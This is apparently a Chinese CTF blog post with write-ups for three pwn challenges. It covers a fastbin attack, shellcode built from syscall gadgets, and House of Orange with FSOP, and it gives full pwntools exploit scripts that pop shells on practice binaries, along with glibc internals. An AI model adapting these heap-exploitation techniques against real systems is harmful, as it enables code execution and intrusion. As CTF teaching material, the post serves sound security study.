heap
# wustctf2020_easyfast(fastbin attack)
基本 fastbin attack 利用,改 chunk 到 backdoor 地址,将 if 条件中的变量覆盖为 0 拿 shell
## EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import *
p = remote('node4.buuoj.cn',29433)
def add(size): p.recvuntil('choice>') p.sendline('1') p.recvuntil('size>') p.sendline(str(size))
def delete(index): p.recvuntil('choice>') p.sendline('2') p.recvuntil('index>') p.sendline(str(index))
def edit(idx,content): p.sendlineafter('choice>','3') p.sendlineafter('index>',str(idx)) p.send(content)
def backdoor(): p.sendlineafter('choice>','4')
add(0x40) add(0x40)
delete(0) delete(1) delete(0)
edit(0,p64(0x602080)) add(0x40)
add(0x40) edit(3,p64(0)) backdoor()
p.interactive()
|
# starctf_2019_babyshell(syscall)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'amd64')
payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall")
sh = remote("node4.buuoj.cn",28428) sh.sendlineafter("plz:\n",payload) sh.sendline('a' * 0xc + asm(shellcraft.sh()))
sh.interactive()
|
# houseoforange_hitcon_2016(house of orange,frop)
# 题目分析
- Build the house 即 add 函数,最多只能创建 4 次 chunk
# 思路
# 关于 house of orange
核心在于当题目中不存在 free 函数时,通过漏洞利用获得 free 的效果,即在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
# FSOP
在 libc 的 _IO_list_all
中,存放有一个 _IO_FILE_plus
结构体的指针,
如下图,它指向 _IO_2_1_stderr_
:
而 _IO_FILE_plus
结构体详细内容如下
其中_chain 指向下一个 _IO_FILE_plus
结构体
在 malloc 中,它调用 malloc_printerr 来打印错误,经过一系列调用,最终来到 _IO_flush_all_lockp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| while (fp != NULL) { … fp = fp->_chain; ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
|
如果满足以下条件:
1 2 3
| fp->_mode > 0 _IO_vtable_offset (fp) == 0 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
|
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW 改为 system,并且伪造结构体,开头为 /bin/sh,就能获得 shell 了
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * from LibcSearcher import * context.log_level = 'debug'
r= process('houseoforange_hitcon_2016')
elf = ELF("./houseoforange_hitcon_2016") libc = ELF('./libc-2.23.so')
def add(size, content, price, color): r.recvuntil("Your choice : ") r.sendline('1') r.recvuntil("Length of name :") r.sendline(str(size)) r.recvuntil("Name :") r.send(content) r.recvuntil("Price of Orange:") r.sendline(str(price)) r.recvuntil("Color of Orange:") r.sendline(str(color))
def show(): r.recvuntil("Your choice : ") r.sendline('2')
def edit(size, content, price, color): r.recvuntil("Your choice : ") r.sendline('3') r.recvuntil("Length of name :") r.sendline(str(size)) r.recvuntil("Name:") r.send(content) r.recvuntil("Price of Orange:") r.sendline(str(price)) r.recvuntil("Color of Orange:") r.sendline(str(color))
add(0x30,'aaaa\n',0x1234,0xddaa) payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81) edit(len(payload), payload, 666, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa) add(0x400, 'a' * 8, 199, 2) show() r.recvuntil('a'*8) malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10 success('malloc_hook = '+hex(malloc_hook)) libc.address = malloc_hook - libc.symbols['__malloc_hook'] io_list_all = libc.symbols['_IO_list_all'] system = libc.symbols['system']
payload = 'b' * 0x10 edit(0x10, payload, 199, 2) show() r.recvuntil('b'*0x10) heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) heap_base = heap - 0xE0 success('heap = '+hex(heap))
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) fake_file = '/bin/sh\x00'+p64(0x61) fake_file += p64(0)+p64(io_list_all-0x10) fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xc0,'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_base+0x5E8) fake_file += p64(0) * 2 fake_file += p64(system) payload += fake_file edit(len(payload), payload, 666, 2)
r.recvuntil("Your choice : ") r.sendline('1')
r.interactive()
|
# 参考文章
https://bbs.pediy.com/thread-222718.htm
https://www.anquanke.com/post/id/218887#h3-4
https://blog.csdn.net/weixin_44145820/article/details/105270036